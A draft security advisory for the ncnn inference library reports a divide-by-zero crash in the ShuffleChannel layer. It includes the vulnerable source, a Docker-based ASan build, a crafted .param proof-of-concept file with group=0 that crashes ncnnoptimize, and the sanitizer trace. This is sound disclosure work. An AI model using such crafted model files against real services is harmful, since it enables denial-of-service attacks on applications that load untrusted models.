All advisories
Draft

ShuffleChannel Divide-By-Zero Denial Of Service

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

ShuffleChannel Divide-By-Zero Denial Of Service

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/shufflechannel_x86.cpp:41 in ShuffleChannel_x86::forward
Sanitizer verdict: FPE on unknown address 0x5c92c076a6aa (pc 0x5c92c076a6aa bp 0x7ffd784411d0 sp 0x7ffd78439cc0 T0)

Summary

Setting a ShuffleChannel layer's group count to 0 in a text .param file terminates the loading process with SIGFPE. ShuffleChannel::load_param accepts the value without validation, and the x86 forward implementation divides the channel count by it. The proof of concept drives this through ncnnoptimize, whose shape-inference pass executes every layer, but the same expression runs during normal x86 CPU inference on any attacker-supplied graph.

Detail

The untrusted fields are parameter ids 0 (group) and 1 (reverse) of a ShuffleChannel record. load_param copies them straight into the layer and returns success:

// src/layer/shufflechannel.cpp:14
int ShuffleChannel::load_param(const ParamDict& pd)
{
    group = pd.get(0, 1);
    reverse = pd.get(1, 0);

    return 0;
}

The x86 override then derives _group from reverse and uses it as a divisor on the very next line, with no preceding check:

// src/layer/x86/shufflechannel_x86.cpp:33
    int w = bottom_blob.w;
    int h = bottom_blob.h;
    int d = bottom_blob.d;
    int channels = bottom_blob.c;
    int elempack = bottom_blob.elempack;
    int size = w * h * d;

    int _group = reverse ? channels * elempack / group : group;
    int channels_per_group = channels / _group;

    if (_group == 1)
    {
        top_blob = bottom_blob;
        return 0;
    }

The PoC declares Input input 0 1 data 0=1 1=1 2=4 and ShuffleChannel shuffle 1 1 data output 0=0. With reverse == 0, line 40 assigns _group = group = 0, and line 41 evaluates channels / 0, trapping before the _group == 1 early-out on line 43 can be reached. The generic implementation in src/layer/shufflechannel.cpp is no safer for this input: its "reject invalid group" guard is if (channels % group != 0), a modulo by the same unvalidated zero. Reaching the layer requires only optimizer.load_param(inparam) at tools/ncnnoptimize.cpp:2788 followed by ModelWriter::shape_inference() at line 2844, which extracts every layer top through tools/modelwriter.h:435. The reported crash frame is shufflechannel_x86_avx512.cpp:41, the AVX-512 translation unit generated from this source file.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-shufflechannel-divide-by-zero-denial-of-service && cd ncnn-poc-shufflechannel-divide-by-zero-denial-of-service

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
2 2
Input input 0 1 data 0=1 1=1 2=4
ShuffleChannel shuffle 1 1 data output 0=0
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x5c72692306aa (pc 0x5c72692306aa bp 0x7ffd55ecbb80 sp 0x7ffd55ec4680 T0)
    #0 0x5c72692306aa in ncnn::ShuffleChannel_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/shufflechannel_x86_avx512.cpp:41
    #1 0x5c7263ac3f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #2 0x5c7263ab5b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #3 0x5c7263b159e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #4 0x5c72639a73c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #5 0x5c7263a24eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #6 0x71a2f844e1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x71a2f844e28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x5c72639a4624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/build/src/layer/x86/shufflechannel_x86_avx512.cpp:41 in ncnn::ShuffleChannel_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const
==1==ABORTING

Credit

Zheng Yu @ DepthFirst